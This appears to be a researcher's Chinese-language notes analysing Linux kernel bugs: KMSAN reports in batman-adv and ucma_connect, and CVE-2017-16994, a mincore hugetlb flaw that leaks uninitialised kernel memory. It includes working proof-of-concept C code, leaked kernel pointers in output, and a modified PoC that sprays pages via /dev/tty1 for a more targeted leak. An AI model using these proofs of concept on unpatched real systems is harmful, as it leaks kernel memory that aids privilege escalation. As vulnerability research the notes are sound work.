[ 106.643667][ T4828] batadv_softif_slave_add+0x198/0x260
[ 106.648847][ T4828] do_setlink+0x1c1c/0x6400
[ 106.653073][ T4828] rtnl_newlink+0x30fb/0x3900
[ 106.657273][ T4828] rtnetlink_rcv_msg+0x119b/0x15e0
[ 106.662538][ T4828] netlink_rcv_skb+0x551/0x640
[ 106.666979][ T4828] rtnetlink_rcv+0x50/0x60
[ 106.671460][ T4828] netlink_unicast+0xf91/0x10f0
[ 106.676240][ T4828] netlink_sendmsg+0x124a/0x14e0
[ 106.681117][ T4828] __sys_sendto+0xc53/0xc80
[ 106.685521][ T4828] __se_sys_sendto+0x107/0x130
[ 106.689968][ T4828] __x64_sys_sendto+0x6e/0x90
[ 106.694322][ T4828] do_syscall_64+0xaf/0x140
[ 106.698593][ T4828] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 106.704385][ T4828]
[ 106.706850][ T4828] Bytes 32-33 of 54 are uninitialized
[ 106.711698][ T4828] Memory access of size 54 starts at ffffa1701f8cbc54

分析

net/batman-adv/bat_iv_ogm.c#L1710

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
   struct batadv_forw_packet *forw_packet;
struct batadv_priv *bat_priv;
bool dropped = false;

delayed_work = to_delayed_work(work);
forw_packet = container_of(delayed_work, struct batadv_forw_packet,
delayed_work);
bat_priv = netdev_priv(forw_packet->if_incoming->soft_iface);

if (atomic_read(&bat_priv->mesh_state) == BATADV_MESH_DEACTIVATING) {
dropped = true;
goto out;
}

batadv_iv_ogm_emit(forw_packet);
1
2
3
4
5
6
7
skb = skb_clone(forw_packet->skb, GFP_ATOMIC);
if (skb) {
batadv_inc_counter(bat_priv, BATADV_CNT_MGMT_TX);
batadv_add_counter(bat_priv, BATADV_CNT_MGMT_TX_BYTES,
skb->len + ETH_HLEN);
batadv_send_broadcast_skb(skb, hard_iface);
}

应该是SKB这边有问题

1
memcpy(data + nhead, skb->head, skb_tail_pointer(skb) - skb->head);

SKB是这边来的

drivers/net/virtio_net.c line 384

1
2
3
4
5
6
7
8
9
   struct sk_buff *skb;
struct virtio_net_hdr_mrg_rxbuf *hdr;
unsigned int copy, hdr_len, hdr_padded_len;
char *p;

p = page_address(page) + offset;

/* copy small packet so we can reuse these pages for small data */
skb = napi_alloc_skb(&rq->napi, GOOD_COPY_LEN);

skb->head

1
2
3
4
5
6
sk_buff_data_t		tail;
sk_buff_data_t end;
unsigned char *head,
*data;
unsigned int truesize;
refcount_t users;

找head是哪里来的

好像是send的时候出现了未初始化,然后recv的时候检测到了。。。

KMSAN: uninit-value in ucma_connect

https://syzkaller.appspot.com/bug?id=2c85ca2b1aedb22ed1029383751e36cee3f7d047

Log

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
[ 1493.720662][ T8882] =====================================================
[ 1493.729996][ T8882] BUG: KMSAN: uninit-value in ucma_connect+0x6ff/0xaa0
[ 1493.736188][ T8882] CPU: 1 PID: 8882 Comm: 2c85 Tainted: G B 5.8.0-rc5+ #6
[ 1493.744143][ T8882] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
[ 1493.754251][ T8882] Call Trace:
[ 1493.758289][ T8882] dump_stack+0x1df/0x240
[ 1493.762819][ T8882] kmsan_report+0xfb/0x1e0
[ 1493.767780][ T8882] __msan_warning+0x58/0xa0
[ 1493.771982][ T8882] ucma_connect+0x6ff/0xaa0
[ 1493.775434][ T8882] ? kmsan_get_metadata+0x4f/0x180
[ 1493.779611][ T8882] ? kmsan_internal_set_origin+0x85/0xc0
[ 1493.783781][ T8882] ? kmsan_internal_unpoison_shadow+0x42/0x70
[ 1493.789337][ T8882] ? _copy_from_user+0x15f/0x260
[ 1493.794410][ T8882] ? kmsan_get_metadata+0x4f/0x180
[ 1493.799142][ T8882] ? ucma_query_route+0x13b0/0x13b0
[ 1493.804679][ T8882] ucma_write+0x5c5/0x630
[ 1493.809162][ T8882] do_iter_write+0x703/0xdb0
[ 1493.814716][ T8882] ? import_iovec+0x5f8/0x670
[ 1493.819656][ T8882] ? ucma_get_global_nl_info+0xe0/0xe0
[ 1493.824756][ T8882] do_writev+0x487/0x8e0
[ 1493.828789][ T8882] ? kmsan_get_shadow_origin_ptr+0x81/0xb0
[ 1493.834277][ T8882] ? __msan_metadata_ptr_for_store_4+0x13/0x20
[ 1493.840115][ T8882] ? __prepare_exit_to_usermode+0x168/0x4d0
[ 1493.845658][ T8882] __se_sys_writev+0x9b/0xb0
[ 1493.849860][ T8882] __x64_sys_writev+0x4a/0x70
[ 1493.854313][ T8882] do_syscall_64+0xaf/0x140
[ 1493.860772][ T8882] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 1493.869551][ T8882] RIP: 0033:0x44a0f9
[ 1493.874034][ T8882] Code: Bad RIP value.
[ 1493.878046][ T8882] RSP: 002b:00007ffec53b2498 EFLAGS: 00000217 ORIG_RAX: 0000000000000014
[ 1493.887010][ T8882] RAX: ffffffffffffffda RBX: 0000000000400400 RCX: 000000000044a0f9
[ 1493.896143][ T8882] RDX: 0000000000000001 RSI: 00000000200000c0 RDI: 0000000000000005
[ 1493.904654][ T8882] RBP: 00007ffec53b24b0 R08: 0000000000000000 R09: 0000000000000000
[ 1493.912018][ T8882] R10: 0000000000000000 R11: 0000000000000217 R12: 0000000000401a60
[ 1493.919667][ T8882] R13: 0000000000000000 R14: 00000000006b9018 R15: 0000000000000000
[ 1493.927665][ T8882]
[ 1493.929816][ T8882] Local variable ----cmd@ucma_connect created at:
[ 1493.936290][ T8882] ucma_connect+0xe3/0xaa0
[ 1493.941082][ T8882] ucma_connect+0xe3/0xaa0
[ 1493.945785][ T8882] =====================================================

分析

1
2
3
4
5
6
7
8
9
10
11
struct rdma_conn_param conn_param;
struct rdma_ucm_ece ece = {};
struct rdma_ucm_connect cmd;
struct ucma_context *ctx;
size_t in_size;
int ret;

in_size = min_t(size_t, in_len, sizeof(cmd));
if (copy_from_user(&cmd, inbuf, in_size))
return -EFAULT;

很简单的一个洞,cmd是一个栈上结构体,从用户态拷过来,但是没有限制最小长度,导致整个结构体几乎都可以未初始化

结构体定义是这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
struct rdma_ucm_ece {
__u32 vendor_id;
__u32 attr_mod;
};

struct rdma_ucm_conn_param {
__u32 qp_num;
__u32 qkey;
__u8 private_data[RDMA_MAX_PRIVATE_DATA];
__u8 private_data_len;
__u8 srq;
__u8 responder_resources;
__u8 initiator_depth;
__u8 flow_control;
__u8 retry_count;
__u8 rnr_retry_count;
__u8 valid;
};


struct rdma_ucm_connect {
struct rdma_ucm_conn_param conn_param;
__u32 id;
__u32 reserved;
struct rdma_ucm_ece ece;
};

没有指针什么的,本来也可以从用户态拷过来完全控制,应该不可利用。。。。

CVE-2017-16994分析

影响版本

1
2
3
4
<4.14.2
<4.13.16
<4.9.65
<4.4.101

此处调试使用的是Linux 4.14.1 kernel

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>

unsigned char mcbuf[0x1000];

int main(void) {
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED)
err(1, "mmap");

for (int i=0; i<10000; i++) {
if (mincore((void*)0x86000000, 0x1000000, mcbuf))
perror("mincore");
write(1, mcbuf, 0x1000);
}
}

Patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

diff --git a/mm/pagewalk.c b/mm/pagewalk.c
index 8bd4afa83cb8..23a3e415ac2c 100644
--- a/mm/pagewalk.c
+++ b/mm/pagewalk.c
@@ -188,8 +188,12 @@ static int walk_hugetlb_range(unsigned long addr, unsigned long end,
do {
next = hugetlb_entry_end(h, addr, end);
pte = huge_pte_offset(walk->mm, addr & hmask, sz);
- if (pte && walk->hugetlb_entry)
+
+ if (pte)
err = walk->hugetlb_entry(pte, hmask, addr, next, walk);
+ else if (walk->pte_hole)
+ err = walk->pte_hole(addr, next, walk);
+
if (err)
break;
} while (addr = next, addr != end);

关于mincore系统调用

1
int mincore(void *addr, size_t length, unsigned char *vec)

判断addr的长度为length的内存是否在core(RAM)中,vec是一个长度至少为(length+PAGE_SIZE-1) / PAGE_SIZE的数组,如果对应的第i页在内存中就会将vec的第i个元素的最低位设为1,否则设为0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int main() {
int x = mmap((void *)0x66000000, 0x2000, PROT_READ | PROT_WRITE , MAP_SHARED | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0);
printf("%d\n", x);
if (x == -1) {
perror("mmap");
}
mincore((void *)0x66000000, 0x2000, res);
for (int i = 0; i < 0x10; i++) {
printf("%02x ", res[i]);
}
printf("\n");
unsigned int * p = 0x66000000;
*p = 0x11223344;
p = 0x66001000;
*p = 0x44332211;
mincore((void *)0x66000000, 0x2000, res);
for (int i = 0; i < 0x10; i++) {
printf("%02x ", res[i]);
}
printf("\n");
return 0;
}

1
2
3
4
acdxvfsvd@SXQ2:~/cve-2017-16994$ sudo ./test
1711276032
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00

复现效果

1
2
3
4
5
6
7
8
9
10
11
/ # ./exp1 | hexdump -C | head -n 100
00000000 00 00 00 00 00 00 00 00 90 b0 19 81 ff ff ff ff |................|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000020 00 00 00 00 00 00 00 00 a0 de a6 81 ff ff ff ff |................|
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000040 00 80 00 00 01 00 02 00 00 00 00 00 00 00 00 00 |................|
00000050 00 00 00 00 00 00 00 00 58 40 c7 05 00 88 ff ff |........X@......|
00000060 58 40 c7 05 00 88 ff ff 00 00 00 00 00 00 00 00 |X@..............|
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*

分析

SYS_mincore系统调用处理函数

1
2
3
4
if (copy_to_user(vec, tmp, retval)) {
retval = -EFAULT;
break;
}
1
2
3
4
5
6
7
8
9
10
11
12
tmp = (void *) __get_free_page(GFP_USER);
if (!tmp)
return -EAGAIN;

retval = 0;
while (pages) {
/*
* Do at most PAGE_SIZE entries per iteration, due to
* the temporary buffer size.
*/
down_read(&current->mm->mmap_sem);
retval = do_mincore(start, min(pages, PAGE_SIZE), tmp);

do_mincore

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static long do_mincore(unsigned long addr, unsigned long pages, unsigned char *vec)
{
struct vm_area_struct *vma;
unsigned long end;
int err;
struct mm_walk mincore_walk = {
.pmd_entry = mincore_pte_range,
.pte_hole = mincore_unmapped_range,
.hugetlb_entry = mincore_hugetlb,
.private = vec,
};

vma = find_vma(current->mm, addr);
if (!vma || addr < vma->vm_start)
return -ENOMEM;
mincore_walk.mm = vma->vm_mm;
end = min(vma->vm_end, addr + (pages << PAGE_SHIFT));
err = walk_page_range(addr, end, &mincore_walk);

用到vec的只有walk_page_range

1
2
if (walk->vma || walk->pte_hole)
err = __walk_page_range(start, next, walk);

__walk_page_range

1
2
3
4
5
if (vma && is_vm_hugetlb_page(vma)) {
if (walk->hugetlb_entry)
err = walk_hugetlb_range(start, end, walk);
} else
err = walk_pgd_range(start, end, walk);

mmap参数有一个MAP_HUGETLB,所以进这个分支

walk_hugetlb_range是存在的,是mincore_hugetlb

然后就到了漏洞函数的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static int walk_hugetlb_range(unsigned long addr, unsigned long end,
struct mm_walk *walk)
{
struct vm_area_struct *vma = walk->vma;
struct hstate *h = hstate_vma(vma);
unsigned long next;
unsigned long hmask = huge_page_mask(h);
unsigned long sz = huge_page_size(h);
pte_t *pte;
int err = 0;

do {
next = hugetlb_entry_end(h, addr, end);
pte = huge_pte_offset(walk->mm, addr & hmask, sz);
if (pte && walk->hugetlb_entry)
err = walk->hugetlb_entry(pte, hmask, addr, next, walk);
if (err)
break;
} while (addr = next, addr != end);

return err;
}

跟修改过的代码进行对比

1
2
3
4
5

if (pte)
err = walk->hugetlb_entry(pte, hmask, addr, next, walk);
else if (walk->pte_hole)
err = walk->pte_hole(addr, next, walk);

walk->hugetlb_entry是固定的,所以出问题的地方应该是pte == NULL 而且有walk->pte_hole的情况

walk->pte_hole也是确定的

所以应该就是当pte==NULL的时候加了一个函数

walk->pte_hole项是mincore_unmapped_range函数

1
2
3
4
5
6
7
static int mincore_unmapped_range(unsigned long addr, unsigned long end,
struct mm_walk *walk)
{
walk->private += __mincore_unmapped_range(addr, end,
walk->vma, walk->private);
return 0;
}

walk->private就是那个vec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static int __mincore_unmapped_range(unsigned long addr, unsigned long end,
struct vm_area_struct *vma, unsigned char *vec)
{
unsigned long nr = (end - addr) >> PAGE_SHIFT;
int i;

if (vma->vm_file) {
pgoff_t pgoff;

pgoff = linear_page_index(vma, addr);
for (i = 0; i < nr; i++, pgoff++)
vec[i] = mincore_page(vma->vm_file->f_mapping, pgoff);
} else {
for (i = 0; i < nr; i++)
vec[i] = 0;
}
return nr;
}

这里的所有情况都对vec有赋值操作了

之前确实对vec没有任何操作

vec是用__get_free_page获得到的页面,然后copy_to_user

调试遇到的问题

  • 在挂了调试器的情况下拿不到内核指针,但是确实可以看到本来不该有数据的页面有了数据
  • Hook copy_to_user计数,有极小概率跑不满10000次,可能是用户态程序跑崩了

POC修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>
#include <fcntl.h>

unsigned char mcbuf[0x1000] = {0};

int main(void) {
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED)
err(1, "mmap");
int fds[0x1000] = {0};
for (int i = 0; i < 0x1000; i++) {
fds[i] = open("/dev/tty1", 0);
}
for (int i = 0; i < 0x1000; i++) {
close(fds[i]);
}

for (int i=0; i<10000; i++) {
if (mincore((void*)0x86000000, 0x1000000, mcbuf))
perror("mincore");
write(1, mcbuf, 0x1000);
}
}

因为使用了__get_free_page来获取页面,所以可以有意识地喷射一些页面来定向泄露,而且触发更稳定

本来想开/dev/ptmx的,不知道为什么不行

|